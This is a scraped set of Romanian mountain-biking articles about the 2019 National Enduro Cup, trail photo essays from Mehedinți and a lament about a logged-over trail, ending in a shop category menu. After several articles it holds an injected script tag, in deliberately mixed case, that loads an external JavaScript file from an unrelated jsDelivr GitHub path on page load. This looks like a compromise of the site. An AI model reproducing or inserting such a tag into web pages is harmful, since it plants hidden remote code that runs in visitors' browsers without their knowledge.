&lt;i&gt;Așa cum probabil ați aflat deja din &lt;a href=&quot;https://www.dirtbike.ro/mag/cupa-nationala-de-enduro-2019-un-pachet-bogat-si-complet&quot; target=&quot;\_blank&quot;&gt;comunicatul&lt;/a&gt; publicat săptămâna trecută, Cupa Națională de Enduro revine în 2019 cu forțe proaspete, gata să ducă mai departe și să îmbunătățească proiectul început acum câțiva ani. Iată că atunci când vine vorba de noutăți, sezonul 2019 ne surprinde în mod plăcut. Astfel, pe lângă concursurile organizate în destinații noi, oamenii din spatele CNE au pregătit o listă întreagă de modificări menite să facă din sezonul actual cel mai bun de până acum. Mai jos aveți toate aceste noutăți, așa cum ne-au fost ele trimise de către Bike Attack.&lt;/i&gt;

&lt;b&gt;Comunicat: Noutăți CNE 2019&lt;/b&gt;
&lt;ul&gt;
 &lt;li&gt;În acest an vom introduce pentru toate etapele din cupă înscrierea unică. Aceasta va funcţiona prin crearea online a unui cont de participant, în care acesta alege etapele la care doreşte să participe, putând efectua plata cu cardul pentru fiecare din ele sau pentru campionatul naţional.
&lt;/li&gt;

[article-image=&quot;2&quot;]

&lt;li&gt;Implementarea&lt;b&gt; tarifului de înscriere unic&lt;/b&gt; pentru toate etapele şi posibilitatea de achiziţionare a pachetului pentru toate etapele, desigur cu o reducere a taxei în acest caz. 
&lt;/li&gt;

&lt;li&gt;O altă surpriză în acest sezon vine pe partea de &lt;b&gt;cronometrare&lt;/b&gt;, care se va face cu acelaşi sistem folosit în EWS, porţi/celulă, serviciu oferit de către Linia de Sosire. Folosirea acestui sistem este menită să pună capăt discuţiilor legate de aşezarea staţiilor şi marcarea cu cipul de control în startul şi finalul probelor speciale. 
&lt;/li&gt;

[article-image=&quot;3&quot;]

&lt;li&gt;Rămânând în zona digitală, partea de &lt;b&gt;interactivitate şi hărţi&lt;/b&gt; cu traseele şi zonele de concurs se va face prin platforma &lt;a href=&quot;https://www.trailforks.com&quot; target=&quot;\_blank&quot;&gt;Trailforks&lt;/a&gt; cu sprijinul ambasadorului din România, Alexandru Pufan.
&lt;/li&gt;

&lt;li&gt;Pentru că este o cupă, iar cupa implică mai multe etape care se punctează, bătălia se va da pentru puncte. Ca să stimulăm această bătălie, am creat noi moduri de punctare. Primul se va face prin adoptarea unei reguli care se aplică în regulamentul raliurilor World Rally Car, şi se referă la introducerea power stage-ului. Ce înseamnă power stage într-o etapă CNE? Este de fapt ultima probă specială a etapei, pe care se vor acorda puncte suplimentare primilor 10 clasaţi, pe categorii. Power stage-ul devine astfel un stimulent atunci când, din cauza unei pene sau a altui incident eşti scos din zona de punctaj, oferindu-ţi motivația de a termina cursa.
&lt;/li&gt;

[article-image=&quot;4&quot;]

&lt;li&gt;Tot în zona acordării  punctelor, din acest an dorim introducerea unu sistem prin care se vor da &lt;b&gt;puncte echipelor&lt;/b&gt;. Astfel la finalul CNE 2019 vom avea echipe câştigătoare. Acest sistem se va publica în regulamentul CNE 2019.	
&lt;/li&gt;

&lt;li&gt;Legat de publicitate, avem în vedere uniformizarea părţii de comunicare şi brand, astfel ca în anii următori CNE să devină ma atractivă pentru sponsori. Noutăţile sunt mai multe, începând cu producţia numerelor de concurs cu design unitar pentru toate etapele (ţinând desigur cont de particularităţile fiecăreia), producţia unei serii de video-uri care să prezinte bătălia de pe trasee, transmisii pre, post şi live ale etapelor, comunicate şi colaborări cu publicaţii şi entităţi din mass-media.
&lt;/li&gt;

[article-image=&quot;5&quot;]

&lt;li&gt;Vrem să punem accentul pe &lt;b&gt;siguranţa participanţilor&lt;/b&gt;, păstrând astfel obligativitatea asigurărilor medicale şi asigurând prezenţa unui &lt;b&gt;echipaj cu ambulanţă&lt;/b&gt; şi a &lt;b&gt;echipelor salvamont&lt;/b&gt;. De asemenea, ne obligăm să aducem la fiecare etapă un &lt;b&gt;arbitru &lt;/b&gt;cu experienţă în disciplina enduro MTB, care să facă sugestii de modificare a traseului în zone care pot reprezenta un pericol iminent pentru paticipanţi si care să poată oferi suport organizatorilor în momentele cheie ale curselor. 
&lt;/li&gt;

&lt;li&gt;În sprijinul organizatorilor oferim consultanţă şi documente suport pentru &lt;b&gt;obţinerea avizelor&lt;/b&gt; necesare pentru desfăşurarea etapelor, &lt;b&gt;returnăm sumele din taxa de înscriere&lt;/b&gt;, oferim &lt;b&gt;suport la faţa locului &lt;/b&gt;înainte de startul competiţiei şi la premiere şi încercăm să punem la dispoziţie un sistem prin care aceştia să poată primi &lt;b&gt;donaţii&lt;/b&gt; de la participanţi/comunitate (exemplu: best trail of the race).
&lt;/li&gt;

[article-image=&quot;6&quot;]

&lt;li&gt;Încă o noutate pentru România este organizarea a două etape de &lt;b&gt;test pentru e-MTB&lt;/b&gt;, un domeniu care generează multe discuţii şi dezbateri, cu opinii variate. Un lucru este cert, e un domeniu care creşte într-un ritm spectaculos şi care nu poate fi ignorat. Dacă trecem acest test şi învăţăm cum să gestionăm o cursă de E-MTB, putem să fim pregătiţi de un capitol care oferă o piaţă generoasă.&lt;/li&gt;
&lt;/ul&gt;
[article-image=&quot;7&quot;]<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Cupa Națională de Enduro 2019 - Noutățile Sezonului

&lt;p&gt;Cheile Țăsnei se află pe o vale stâncoasă ce desparte județele Mehedinți și Caraș-Severin, iar odinioară delimita Imperiul Austro-Ungar de România. Poteca construită aici, probabil în acea perioadă, este renumită printre turiștii ce ajung în sud-vestul țării. Pereții înalți de calcar, fauna și flora cu iz mediteranean și peisajele spectaculoase spre Munții Cernei atrag zilnic, de-a lungul sezonului cald, o mulțime de amatori de hiking.&lt;/p&gt;
&lt;p&gt;Acum câțiva ani am ajuns aici cu plictisitoarea bicicletă de cross-country, la finalul unei ture lungi prin cele două județe. Pe-atunci am inclus poteca în traseu mai mult pentru motivele peisagistice amintite mai sus, pentru că toată coborârea am parcurs-o pe lângă bicicletă, sau cu ea în spate. Dificultatea unei coborâri pe-aici a fost mult prea mare pentru nivelul celor prezenți, cu atât mai mult pe bicicletele respective.&lt;/p&gt;
&lt;p&gt;Mi-am propus însă să revin, iar schimbarea disciplinei și implicit a bike-ului s-au dovedit a fi oportunitatea mult așteptată. De data aceasta am putut savura traseul așa cum se cuvine. Trebuie să admit că pentru mine a fost cea mai dificilă coborâre pe care m-am dat, atât din punct de vedere tehnic cât și fizic. Prin natura obstacolelor, traseul se aseamănă foarte mult cu potecile alpine, cu &lt;i&gt;switchback&lt;/i&gt;-uri strânse aflate pe porțiuni în cap, acoperite de o suprafață pietroasă, care se mişcă în permanenţă sub bicicletă. Am coborât pe bike undeva la 90\% din traseu, pentru restul fiind nevoie să-mi îmbunătăţesc aptitudinile de trialist. Poteca nu a fost concepută pentru datul la vale, iar asta obligă riderul, pe alocuri, să stăpânească &lt;i&gt;pedal kick&lt;/i&gt;-uri, &lt;i&gt;track stand&lt;/i&gt;-uri şi altele asemenea. Tocmai din acest motiv, coborârea devine foarte solicitantă din punct de vedere fizic, ţinându-te încordat pe toată durata ei. Şi dacă nu era de ajuns, abrupturile înalte aflate pe alocuri pe marginea potecii sunt cireaşa de pe tort, ultimul tip de solicitare, emoţională. Ce să mai, all inclusive... &lt;a href=&quot;https://www.youtube.com/watch?v=VrAz0Ru0L1Y&quot; target=&quot;\_blank&quot;&gt;trup şi suflet&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Mai jos, rezultatul turei respective în imagini, cu mulţumiri lui &lt;a href=&quot;https://www.facebook.com/cornel.pufan&quot; target=&quot;\_blank&quot;&gt;Cornel Pufan&lt;/a&gt;&lt;/p&gt;

[article-image=&quot;15&quot; description=&quot;prima parte probabil e cea mai rapidă, având astfel de dropuri pe alocuri&quot;]
[article-image=&quot;14&quot; description=&quot;şi o mulţime de treceri prin pârâu&quot;]
[article-image=&quot;13&quot; description=&quot;descending into Mordor&quot;]
[article-image=&quot;12&quot; description=&quot;porţiunea cea mai spectaculoasă&quot;]
[article-image=&quot;11&quot; description=&quot;prăpastia e mare, deci cât mai aproape de perete&quot;]
[article-image=&quot;10&quot; description=&quot;potecă săpată în stâncă; probabil cei care au conceput-o ar fi astăzi mountain-bikeri&quot;]
[article-image=&quot;9&quot; description=&quot;intrarea în pădure marchează începutul segmentelor (foarte) abrupte&quot;]
[article-image=&quot;8&quot; description=&quot;şi a primelor rădăcini&quot;]
[article-image=&quot;7&quot; description=&quot;unde nu sunt rădăcini, sunt pietre&quot;]
[article-image=&quot;6&quot; description=&quot;însă în cele mai multe locuri, avem de toate&quot;]
[article-image=&quot;5&quot; description=&quot;şi ceva off-camber pentru mix-ul complet&quot;]
[article-image=&quot;4&quot; description=&quot;unul din puţinele locuri unde poţi lua ceva aer fără să te opreşti într-un pom, aşa că trebuie profitat&quot;]
[article-image=&quot;3&quot; description=&quot;pe final, poteca se lărgeşte şi oferă nenumărate linii&quot;]
[article-image=&quot;2&quot; description=&quot;printre rădăcini...&quot;]
[article-image=&quot;1&quot; description=&quot;...şi peste ele&quot;]<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Cheile Țăsnei - photo epic

Undeva în sud-vestul ţării noastre, urcând pe o vale ce pătrunde adânc în dealurile cu aspect muntos cunoscute drept Podişul Mehedinţi, pornind de pe malurile Dunării, se află unul din acele locuri care parcă au fost zămislite de natură special pentru mountain-bikeri. Mult prea puţin cunoscut, chiar şi de către riderii locali, &lt;b&gt;Bahna &lt;/b&gt;ar putea trece drept un secret bine păstrat. Cuvântul &lt;i&gt;bahnă&lt;/i&gt; provine din limba slavă şi înseamnă zonă mlăştinoasă. Oricine s-a dat aici ar fi de acord însă că Bahna poate fi fără nicio problemă sinonim cu neaderent, abrupt şi din cale afară de stâncos.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65018.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;Bahna... ştie ce ne place&lt;/div&gt;&lt;/div&gt;

Bahna, localitatea situată pe valea râului al cărui nume îl poartă, între dealurile pe unde odinioară trecea graniţa cu Imperiul Austro-Ungar, este o mixtură de sat oltenesc şi bănăţenesc. Oamenii locului te salută prietenos şi sunt mereu dornici să îţi destăinuie vreo poveste a zonei, iar de curând, tot mai interesaţi să afle pe unde &lt;i&gt;te-ai mai dat&lt;/i&gt;. Obişnuiţi rapid cu prezenţa mountain-bikerilor pe potecile construite iniţial de strămoșii lor, nu de puţine ori îi poţi vedea (în special pe cei mici) adunaţi în centrul satului să admire bicicliştii care coboară pe &lt;i&gt;Stoner&lt;/i&gt;, unul din traseele reprezentative.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65002.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;crâşma din centrul satului e tribună pentru serpentinele astea&lt;/div&gt;&lt;/div&gt;

Dacă ar fi să aplic etichete, aş spune că traseele de aici sunt definiţia enduro-ului: naturale, imprevizibile, presărate cu viraje tehnice. Dar cum enduro-ul se vrea a fi compromisul dintre mai multe discipline, sunt de părere că orice rider poate regăsi pe ele ingredientele necesare să-l facă fericit. De la &lt;i&gt;downhill-eri&lt;/i&gt; la &lt;i&gt;roadies&lt;/i&gt;, Valea Bahnei dispune de ceva pentru fiecare.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65004.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;enduro style&lt;/div&gt;&lt;/div&gt;

Traseele se află și de-o parte și de alta a văii, iar caracteristicile lor depind în mare măsură de versantul pe care te afli. Astfel, dacă pe partea dreaptă, cu expunere sudică, suprafața este mult mai compactă și solidă, pe versantul umbrit, aflat în stânga, alternanța dintre îngheț și dezgheț a măcinat stâncile, lăsând în urmă un sol afânat unde aderența lipsește cu desăvârșire. Una din părțile cele mai faine la toate astea e că nămolul nu are de unde să apară nici în cele mai umede perioade. În lipsa zăpezii, te poți da pe versantul sudic tot anul.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65010.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;n-o să găsiţi nămol aici&lt;/div&gt;&lt;/div&gt;

Amintit mai sus, unul din cele mai importante trasee din zonă, &lt;b&gt;Stoner&lt;/b&gt;, coboară chiar în centrul satului, parcurgând secțiuni variate. Partea superioară este lată și rapidă, însă se îngustează treptat până ce devine un &lt;i&gt;singletrail&lt;/i&gt; veritabil, porțiunea cu probabil cel mai mult &lt;i&gt;flow&lt;/i&gt; din întregul areal. &lt;i&gt;Highlight-ul&lt;/i&gt; acestui traseu rămâne însă partea inferioară, în care suprafața este acoperită aproape în permanență cu stânci; solicitantă atât fizic, cât și tehnic, căci spre final coborârea se face numai în serpentine înguste. 

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65007.jpg&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65005.jpg&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65006.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;Stoner&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65008.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;sacrificiul zilei&lt;/div&gt;&lt;/div&gt;

De cealaltă parte a apei, avem cele trei poteci abrupte, nu atât de fizice, dar puțin mai tehnice: &lt;b&gt;Moartea Plăcuțelor&lt;/b&gt; și &lt;b&gt;Bechet Sud și Nord&lt;/b&gt; (care, recunosc, merită niște nume mai bune). Altele sunt în plan pentru a fi construite anul acesta, cel puțin la fel de promițătoare.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65011.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;Moartea Plăcuţelor - de două ori am venit cu bike-ul de XC aici şi de fiecare dată am ajuns jos fără plăcuţe&lt;/div&gt;&lt;/div&gt;

Pe o suprafață acoperită cu pietriș afânat, potecile de aici sunt un adevărat test pentru frâne, anvelope și rider. Întâlnim segmente de totul sau nimic: atât de abrupte încât, pe parcursul a câtorva zeci de metri, este imposibil să mai oprești bicicleta. Culmi înguste și rădăcini la tot pasul nu fac decât să sporească diversitatea potecilor, iar pârâurile care formează mici cascade din loc în loc constituie cireașa de pe tort.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65014.jpg&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65015.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;cea mai dificilă parte din Bechet Sud&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65012.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;nu puteau lipsi rădăcinile&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65016.jpg&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65017.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;riding on the razor&#039;s edge&lt;/div&gt;&lt;/div&gt;

Pe lângă cele menționate anterior, Valea Bahnei mai ascunde nenumărate secrete, poteci la tot pasul pe întreg parcursul său, de la izvoarele aflate sub Munții Mehedinți, până la vărsarea în Dunăre. Atât de multe, încât nu-mi amintesc de vreo tură de explorare aici care să se sfârşească fără vreo descoperire nouă.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65009.jpg&quot; /&gt;&lt;/div&gt;

Deși prea puțin cunoscută, accesul în zonă se face destul de ușor.  Dacă te afli vreodată în trecere pe E70, între Severin și Caransebeș, dă un semn înainte și mergi în dreapta la viaductul Bahna. După 15km, vei găsi un loc din care nu vei pleca dezamăgit!

&lt;i&gt;Promit,
Pufi &lt;/i&gt;



&lt;iframe width=&quot;800&quot; height=&quot;400&quot; frameborder=&quot;0&quot; allowfullscreen src=&quot;https://www.trailforks.com/widgets/region\_map/?rid=16381&amp;w=800px&amp;h=400px&amp;maptype=trailforks&amp;trailstyle=difficulty&amp;controls=1&amp;list=0&amp;layers=labels,poi,directory,region&amp;z=11&amp;lat=&amp;lon=&quot;&gt;&lt;/iframe&gt;
&lt;a href=&quot;https://www.trailforks.com/region/bahna-16381/&quot; style=&quot;font-size: 0.7em;&quot;&gt;Bahna mountain biking trails&lt;/a&gt;


&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/65003.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;oriunde-i o culme, e cel puţin şi-o potecă&lt;/div&gt;&lt;/div&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Bahna - stânci şi alte pietre preţioase

Mereu am considerat că atașamentul nostru față de anumite lucruri este deseori exagerat, irațional chiar, având în vedere caracterul efemer a tot ce ne înconjoară. Sentiment amplificat chiar mai tare atunci când motivul pasiunii a fost &quot;șlefuit&quot; de mâinile noastre. Și nu de puține ori ne temem atât de tare de o eventuală pierdere a sa, încât refuzăm de la bun început să ne mai implicăm, dând naștere astfel la &quot;&lt;i&gt;păduri ce ar putea să fie și niciodată nu vor fi&lt;/i&gt;&quot;.

Motivul pasiunii despre care vorbesc aici este un loc care a avut o contribuție deosebită pentru mica comunitate de mountain-bikeri de la mine din oraș. Este locul care a strâns de nenumărate ori bicicliști din diverse categorii laolaltă, care a închegat comunitatea în urma zilelor petrecute la &lt;i&gt;shaping&lt;/i&gt; și la curățat poteci. Este locul către care îndrumam pe oricine voia să învețe să se dea pe un traseu tehnic și totodată locul în care duceam bicicliști veniți în vizită, ca să le-arăt cât de faină-i zona noastră. Locul ajuns aproape indispensabil pentru toți cei de-aici care aveam de gând să ne dăm la concursuri, dar și în care visam să organizăm propriul nostru concurs.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/64990.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;thanks for all, dear Priest&lt;/div&gt;&lt;/div&gt;

Este locul în care săptămâna trecută am ieșit la un antrenament/photo-session, fără să bănuiesc că va fi probabil ultimul. Într-o după-amiază de miercuri, cu bicicleta-n spate, am luat-o în sus pe Priest (sunt două culmi despărțite de o vale, ambele cu câte un traseu: Judas și Priest), oprindu-ne în fiecare loc ce părea a fi potrivit pentru fotografiat. Cu excepția vântului deosebit de puternic (caracteristic în Mehedinți în perioada asta), pare a fi o zi la fel de faină ca oricare alta, cu o lumină ideală și mult chef de dat.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/64994.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;oh, how I&#039;ll miss this ridge&lt;/div&gt;&lt;/div&gt;

Terminăm cu partea inferioară a traseului plănuind următoarele opriri, la virajele tehnice din pădure și la kicker-ul cel nou, construit în urmă cu trei săptămâni. Apare însă în față, ca din nimic, un munte de pământ și un ditamai arbore căzut deasupra. Îmi zic că e opera vântului, mă enervez puțin la gândul că nu cu mult timp în urmă ne-am chinuit să curățăm zona aia și fac un ocol de vreo zece metri, încercând să întrevăd deja pe unde vom devia traseul. Ajuns de cealaltă parte a mormanului de pământ, am parte de un șoc cumplit. Nimic din poteca pe care o știam ca-n palmă nu mai există. Nimic din peisaj, de fapt, nu pare să mai fie la fel. Mă simt ca și cum aș fi pentru prima oară aici, într-un loc în care nu-mi doresc deloc să fiu. În fața mea se întinde un drum lat aproape cât toată culmea. Urmele de șenile sunt proaspete, poate chiar din aceeași zi. Toți copacii din calea sa dispăruți, pe margine câțiva se mai atârnă cu greu în rădăcini.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/64993.jpg&quot; /&gt;&lt;/div&gt;

Mai merg vreo 200 de metri, până în punctul în care ar fi trebuit să se afle o poiană, dar nu recunosc nimic. Este momentul în care realizez că eram atașat de locul ăsta mai mult decât ar fi trebuit și că în contextul defrișărilor de la noi din țară, întâmplarea asta era oarecum inevitabilă. Îmi fug prin cap numeroasele amintiri rămase din cei nouă ani de când mă dau pe-aici și simt un gol în stomac, urmat de o stare de dezgust și nervi. Mă sui pe bicicletă și o iau la vale, fără niciun chef. Mi-e atât de lehamite, încât până jos abia dacă-mi ridic fundul de pe șa. În cap îmi rămâne numai gândul trist că probabil este ultima coborâre pe-acolo.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/64992.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;un şanţ încărcat cu amintiri&lt;/div&gt;&lt;/div&gt;

Astfel de întâmplări sunt tot mai frecvente în ultimul timp la noi în țară. Aud săptămânal de trasee distruse de exploatările forestiere. Nu sunt în măsură să acuz pe cineva pentru situația de față, pentru că nu am nicio cunoștință despre silvicultură. Nici nu vreau să pornesc vreo dezbatere pe tema tăierii pădurilor, pentru că există deja destule. Din informațiile pe care le-am găsit ulterior, totul pare să fie legal. Din nefericire, întreaga zonă urmează a fi exploatată, deci nici restul traseelor nu vor avea altă soartă. 

În contextul ăsta, pentru noi bicicliștii principala problemă este lipsa unui cadru legal pentru traseele pe care le facem. Desigur, apar poteci în jurul fiecărei comunități, dar nefiind recunoscute ca atare, ele pot dispărea oricând. Nu valorează ceva decât pentru cei care se dau pe ele. Pentru toți ceilalți, sunt doar niște movile de pământ apărute peste noapte.

Dacă m-ați întreba care ar fi soluția, n-aș ști exact ce să răspund. ADMR pare că și-a luat drept misiune, printre altele, (cel puțin) aducerea în discuție a problemei lipsei unui cadru legal, sesizarea ei către cineva competent pentru a schimba lucrurile. 

Între timp, așa cum sugeram la începutul articolului, nu trebuie să renunțăm la a ne construi trasee doar pentru că ar putea să dispară. Fie că sunt distruse de om sau de natură, ele oricum dispar după o anumită perioadă de timp. Este indicat însă să facem toată treaba asta mai cu cap. Să ne procurăm informații despre situația pădurilor din zonă, poate aflăm când vor fi exploatate. Să discutăm cu localnicii și cu cei care gestionează arealul în care vrem să construim. Poate chiar să încercăm un dialog cu autorităţile din acel loc, în vederea găsirii unei soluţii de compromis. Nu în ultimul rând, să evităm cu orice preţ asocierea cu o imagine de teribilişti. Asta ar dăuna tuturor celor care se zbat să schimbe ceva.

În final, Priest rămâne poteca pe care o mână de oameni au învăţat bazele datului, cu o mulţime de amintiri plăcute pentru toţi. În locul său (dar mai spre vest, sau nord) vor apărea alte poteci, cu alte movile de pământ. Care poate, în timp, vor însemna mai mult şi pentru cei care nu au legătură cu sportul. Şi-mi vine să zic &quot;&lt;i&gt;and we&#039;ll all live happily ever after&lt;/i&gt;&quot;, dar nu pot fi atât de optimist după o întâmplare atât de tristă. Aşa că mă rezum la &lt;i&gt;keep on shaping&lt;/i&gt;, pentru că e la fel de fain ca datul în sine.

&lt;i&gt;Numai bine,
Pufi&lt;/i&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Capăt de linie

&quot;&lt;i&gt;Unde-ţi faci concediul anul viitor?&lt;/i&gt;&quot;
&quot;&lt;i&gt;În Italia, la EWS.&lt;/i&gt;&quot;

Era o discuţie pe care o purtam cu un prieten în glumă toamna trecută. Pe la sfârșitul lui ianuarie însă, a devenit cât se poate de serioasă, după ce am primit un mail de felicitare pentru locul câștigat în urma tragerii la sorți pentru ultima etapă a sezonului, din &lt;a href=&quot;https://www.youtube.com/watch?v=2McOonsVrPI&quot; target=&quot;\_blank&quot;&gt;Finale Ligure&lt;/a&gt;.

M-am trezit astfel cu aproape un sezon întreg la dispoziţie pentru a mă pregăti de cea mai dificilă etapă din circuit. După analizarea tuturor pozelor şi filmelor cu traseele din zonă pe care le-am putut găsi, am constatat că pentru a mă da pe ceva asemănător nu trebuie să caut prea departe, traseele din nordul Mehedinţiului dispunând în mare parte de acelaşi teren stâncos şi neaderent caracteristic Liguriei.

Aflat la numai 10 km de centrul oraşului, traseul turistic către Crucea lui Sf. Petru, cunoscut de riderii locali drept traseul de la baraj (plecând de lângă barajul Porţile de Fier I), reprezintă una dintre cele mai facile variante. Ideal pentru ieşirile rapide de seară, constă dintr-o coborâre destul de solicitantă din punct de vedere fizic, de aproape 6 minute, cu secţiuni variate şi o sumedenie de linii ce-l menţin proaspăt un timp îndelungat. Mai mult, datorită condiţiilor meteo şi de relief, ultima parte este într-o permanentă schimbare, apărând întotdeauna obstacole noi.

De aici, de pe malul Dunării, începe aventura către coasta Mediteranei: La Baraj, traseul care ar putea constitui oricând o probă specială dintr-un concurs de enduro.

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/64952.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;Rock. The Drop.&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/64956.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;Traseul are câteva porţiuni rapide în care se stă mai mult în aer&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/64957.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;şi la stânga...&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/64959.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;...şi la dreapta&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/64955.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;pe una din liniile alternative descoperite recent&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/64954.jpg&quot; /&gt;&lt;/div&gt;

&lt;div class=&quot;article-image&quot;&gt;&lt;img src=&quot;/img/foto/360/64958.jpg&quot; /&gt;&lt;div class=&quot;article-image-note&quot;&gt;la final, puţină lumină de apus&lt;/div&gt;&lt;/div&gt;

Autor fotografii: &lt;a href=&quot;https://www.facebook.com/cornel.pufan&quot; target=&quot;\_blank&quot;&gt;Cornel Pufan&lt;/a&gt;

&lt;br&gt;&lt;br&gt;
&lt;iframe width=&quot;800&quot; height=&quot;314&quot; frameborder=&quot;0&quot; src=&quot;https://www.trailforks.com/widgets/trail/?trailid=69873&amp;w=800px&amp;h=314px&amp;map=1&amp;elevation=1&amp;photos=0&amp;title=1&amp;info=1&quot;&gt;&lt;/iframe&gt;

&lt;a href=&quot;https://www.trailforks.com/trails/la-baraj/&quot; style=&quot;font-size: 0.7em;&quot;&gt;La Baraj&lt;/a&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Drumul către Finale, pt. 1

MTB Cross Country

MTB Dirt / Street

MTB Downhill / Freeride

MTB Enduro / Trail

Oraș / Trekking

Pliabile

Copii

Trial

Cursiere Șosea

Altele

Damă

Fixie / Singlespeed

Cursiere Gravel / Ciclocros

Cursiere Contratimp (TT) / Triatlon

Fatbike

Închiriere biciclete

Vintage (de colecție)

Indoor / Fitness

Brand bicicletă

Stare

Biciclete

e-MTB - Mountain Bike

Cyclocross / Gravel

Șosea

Piese și accesorii E-Bike

Baterii

Încărcătoare

Motoare electrice

Transmisie

Unitate computer

Închirere e-bike pentru Tazz / Glovo

An fabricație

Biciclete Electrice

Electrice

Freestyle

Urbane adulți

Piese

Roți

Rulmenți

Manșoane

Protecții

Brand trotinete

Trotinete

Cadre

Furci

Frâne

Jante

Butuci roţi

Schimbătoare de pinioane

Lanțuri

Pinioane

Ghidoane

Pipe (tije de ghidon)

Cuvete

Manșoane / ghidolină

Şei

Manete de schimbător

Angrenaje

Roţi complete

Pedale

Cauciucuri / Anvelope

Amortizoare spate

Ghidaje de lanţ (chainguides)

Manete de frână

Accesorii / piese roţi și butuci

Accesorii / piese frâne

Camere

Butuci pedalieri / monoblocuri

Foi / plăci de angrenaj

Tije de şa

Coliere și cheiţe de şa

Cabluri şi cămăşi

Spiţe şi nipluri

Manete combo / Ergopower / STI

Schimbătoare de foi

Groupset / transmisii întregi

Accesorii / piese schimbătoare și manete

Accesorii / piese cadre

Accesorii / piese furci

Accesorii / piese amortizoare spate

Brand piese

Armură protecție

Căști

Cotiere

Genunchiere

Genunchiere + tibiere

Mănuşi

Ochelari

Protecție gât (Neckbrace)

Protecție spate (Backguard)

Pantaloni cu protecție

Protecție antebraț

Rucsacuri

Tibiere

Tricou / Bluză cu protecție

Vestă protecție

Alte echipamente protecție

Producător

Echipamente

Antifurt

Apărători

Bidoane şi suporturi

Genţi

Lumini / Faruri şi Stopuri

Oglinzi

Produse de întreţinere

Pompe

Portbagaje / Coșuri

Scule şi unelte

Rastel bicicletă

Remorci și cărucioare

Scaune copii

Sonerii

Stand / Suport bicicletă

Stickere / Autocolante

Suporturi / Bare / Portbagaje maşină

Suporturi / Huse smartphone

Suporturi / Prinderi perete

Accesorii

Tricouri mânecă scurtă

Hanorace

Jachetă / Geacă

Încălzitoare

Căciuli

Cagule

Șepci

Bandane multifuncționale

Pantaloni / colanți scurți

Pantaloni / colanți lungi

Tricou mânecă lungă / Bluză

Curățare și întreținere

Vestă

Costum triatlon / Trisuit

Costum neopren / Wetsuit

Combinezon

Suprapantaloni

Îmbrăcăminte (structura veche)

Mărime îmbrăcăminte

Tehnologii

Îmbrăcăminte

Șosete

